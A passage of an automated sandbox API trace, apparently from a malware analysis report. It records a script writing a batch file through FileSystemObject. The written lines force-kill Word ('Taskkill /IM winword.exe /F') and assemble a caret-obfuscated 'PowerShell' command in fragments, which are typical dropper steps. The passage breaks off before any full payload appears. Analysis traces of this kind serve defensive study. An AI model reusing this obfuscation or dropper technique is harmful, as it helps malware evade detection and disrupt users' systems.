wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.547] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.547] SysReleaseString () returned 0x1 [0148.547] CoTaskMemFree (pv=0x249c8761700) [0148.547] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.548] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.548] CoTaskMemAlloc (cb=0x28) returned 0x249c87615e0 [0148.548] SysAddRefString () returned 0x0 [0148.548] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.548] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.548] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.548] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87568a8, pBstrHelpFile=0x249c8758f60*="鲰졵ɉ") returned 0x0 [0148.548] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762808, pBstrHelpFile=0x249c8758f60*="鲰졵ɉ") returned 0x0 [0148.548] malloc (_Size=0x8) returned 0x249c884ed50 [0148.548] malloc (_Size=0x40) returned 0x249ca443560 [0148.548] _snwprintf_s (in: _DstBuf=0x249ca443560, _DstSizeInWords=0x20, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"Taskkill /IM \"winword.exe\" /F\"") returned 31 [0148.548] malloc (_Size=0x7a) returned 0x249c884a540 [0148.548] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x3d, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.548] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x3d, _Source="\"Taskkill /IM \"winword.exe\" /F\"", _MaxCount=0x1f | out: _Destination="ITextStream.WriteLine(\"Taskkill /IM \"winword.exe\" /F\"") returned 0x0 [0148.548] wcscat_s (in: _Destination="ITextStream.WriteLine(\"Taskkill /IM \"winword.exe\" /F\"", _SizeInWords=0x3d, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"Taskkill /IM \"winword.exe\" /F\");\r\n") returned 0x0 [0148.548] wcsncpy_s (in: _Destination=0x249ca4d5188, _SizeInWords=0x3a, _Source="ITextStream.WriteLine(\"Taskkill /IM \"winword.exe\" /F\");\r\n", _MaxCount=0x39 | out: _Destination="ITextStream.WriteLine(\"Taskkill /IM \"winword.exe\" /F\");\r\n") returned 0x0 [0148.548] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.549] free (_Block=0x249ca443560) [0148.549] free (_Block=0x249c884ed50) [0148.549] free (_Block=0x249c884a540) [0148.549] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b828*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="Taskkill /IM \"winword.exe\" /F", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b828*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="Taskkill /IM \"winword.exe\" /F", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.549] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.549] SysReleaseString () returned 0x1 [0148.549] CoTaskMemFree (pv=0x249c87615e0) [0148.549] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.549] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.549] CoTaskMemAlloc (cb=0x28) returned 0x249c87616d0 [0148.549] SysAddRefString () returned 0x0 [0148.549] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.549] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.549] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.550] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762808, pBstrHelpFile=0x249c8758f60*="齰졵ɉ") returned 0x0 [0148.550] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87621a8, pBstrHelpFile=0x249c8758f60*="齰졵ɉ") returned 0x0 [0148.550] malloc (_Size=0x8) returned 0x249c884ecd0 [0148.550] malloc (_Size=0xe) returned 0x249ca447630 [0148.550] _snwprintf_s (in: _DstBuf=0x249ca447630, _DstSizeInWords=0x7, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"POW^\"") returned 6 [0148.550] malloc (_Size=0x48) returned 0x249ca443560 [0148.550] _snwprintf_s (in: _DstBuf=0x249ca443560, _DstSizeInWords=0x24, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.550] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x24, _Source="\"POW^\"", _MaxCount=0x6 | out: _Destination="ITextStream.WriteLine(\"POW^\"") returned 0x0 [0148.550] wcscat_s (in: _Destination="ITextStream.WriteLine(\"POW^\"", _SizeInWords=0x24, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"POW^\");\r\n") returned 0x0 [0148.550] wcsncpy_s (in: _Destination=0x249ca4d51fc, _SizeInWords=0x21, _Source="ITextStream.WriteLine(\"POW^\");\r\n", _MaxCount=0x20 | out: _Destination="ITextStream.WriteLine(\"POW^\");\r\n") returned 0x0 [0148.550] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.550] free (_Block=0x249ca447630) [0148.550] free (_Block=0x249c884ecd0) [0148.550] free (_Block=0x249ca443560) [0148.550] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b870*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="POW^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b870*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="POW^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.550] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.550] SysReleaseString () returned 0x1 [0148.550] CoTaskMemFree (pv=0x249c87616d0) [0148.551] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.551] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.551] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.551] SysAddRefString () returned 0x0 [0148.551] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.551] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.551] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.551] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87621a8, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.551] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762208, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.551] malloc (_Size=0x8) returned 0x249c884eda0 [0148.551] malloc (_Size=0xe) returned 0x249ca447910 [0148.551] _snwprintf_s (in: _DstBuf=0x249ca447910, _DstSizeInWords=0x7, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"erS^\"") returned 6 [0148.551] malloc (_Size=0x48) returned 0x249ca443560 [0148.551] _snwprintf_s (in: _DstBuf=0x249ca443560, _DstSizeInWords=0x24, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.551] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x24, _Source="\"erS^\"", _MaxCount=0x6 | out: _Destination="ITextStream.WriteLine(\"erS^\"") returned 0x0 [0148.551] wcscat_s (in: _Destination="ITextStream.WriteLine(\"erS^\"", _SizeInWords=0x24, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"erS^\");\r\n") returned 0x0 [0148.551] wcsncpy_s (in: _Destination=0x249ca4d523e, _SizeInWords=0x21, _Source="ITextStream.WriteLine(\"erS^\");\r\n", _MaxCount=0x20 | out: _Destination="ITextStream.WriteLine(\"erS^\");\r\n") returned 0x0 [0148.551] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.552] free (_Block=0x249ca447910) [0148.552] free (_Block=0x249c884eda0) [0148.552] free (_Block=0x249ca443560) [0148.552] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b8b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="erS^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b8b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="erS^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.552] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.552] SysReleaseString () returned 0x1 [0148.552] CoTaskMemFree (pv=0x249c8761b80) [0148.552] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.552] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.552] CoTaskMemAlloc (cb=0x28) returned 0x249c87615e0 [0148.552] SysAddRefString () returned 0x0 [0148.552] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.552] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.552] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.553] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762208, pBstrHelpFile=0x249c8758f60*="魰졵ɉ") returned 0x0 [0148.553] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87628c8, pBstrHelpFile=0x249c8758f60*="魰졵ɉ") returned 0x0 [0148.553] malloc (_Size=0x8) returned 0x249c884eca0 [0148.553] malloc (_Size=0x12) returned 0x249ca447890 [0148.553] _snwprintf_s (in: _DstBuf=0x249ca447890, _DstSizeInWords=0x9, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"hell ^\"") returned 8 [0148.553] malloc (_Size=0x4c) returned 0x249c884a540 [0148.553] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x26, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.553] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x26, _Source="\"hell ^\"", _MaxCount=0x8 | out: _Destination="ITextStream.WriteLine(\"hell ^\"") returned 0x0 [0148.553] wcscat_s (in: _Destination="ITextStream.WriteLine(\"hell ^\"", _SizeInWords=0x26, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"hell ^\");\r\n") returned 0x0 [0148.553] wcsncpy_s (in: _Destination=0x249ca4d5280, _SizeInWords=0x23, _Source="ITextStream.WriteLine(\"hell ^\");\r\n", _MaxCount=0x22 | out: _Destination="ITextStream.WriteLine(\"hell ^\");\r\n") returned 0x0 [0148.553] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.553] free (_Block=0x249ca447890) [0148.553] free (_Block=0x249c884eca0) [0148.553] free (_Block=0x249c884a540) [0148.553] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b900*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="hell ^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b900*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="hell ^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.553] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.553] SysReleaseString () returned 0x1 [0148.553] CoTaskMemFree (pv=0x249c87615e0) [0148.553] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.554] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.554] CoTaskMemAlloc (cb=0x28) returned 0x249c87618b0 [0148.554] SysAddRefString () returned 0x0 [0148.554] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.554] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.554] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.554] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87628c8, pBstrHelpFile=0x249c8758f60*="ꚰ졵ɉ") returned 0x0 [0148.554] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762ec8, pBstrHelpFile=0x249c8758f60*="ꚰ졵ɉ") returned 0x0 [0148.554] malloc (_Size=0x8) returned 0x249c884eca0 [0148.554] malloc (_Size=0x12) returned 0x249ca447950 [0148.554] _snwprintf_s (in: _DstBuf=0x249ca447950, _DstSizeInWords=0x9, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"Forea^\"") returned 8 [0148.554] malloc (_Size=0x4c) returned 0x249c884a540 [0148.554] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x26, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.554] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x26, _Source="\"Forea^\"", _MaxCount=0x8 | out: _Destination="ITextStream.WriteLine(\"Forea^\"") returned 0x0 [0148.554] wcscat_s (in: _Destination="ITextStream.WriteLine(\"Forea^\"", _SizeInWords=0x26, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"Forea^\");\r\n") returned 0x0 [0148.554] wcsncpy_s (in: _Destination=0x249ca4d52c6, _SizeInWords=0x23, _Source="ITextStream.WriteLine(\"Forea^\");\r\n", _MaxCount=0x22 | out: _Destination="ITextStream.WriteLine(\"Forea^\");\r\n") returned 0x0 [0148.555] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.555] free (_Block=0x249ca447950) [0148.555] free (_Block=0x249c884eca0) [0148.555] free (_Block=0x249c884a540) [0148.555] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b948*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="Forea^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, 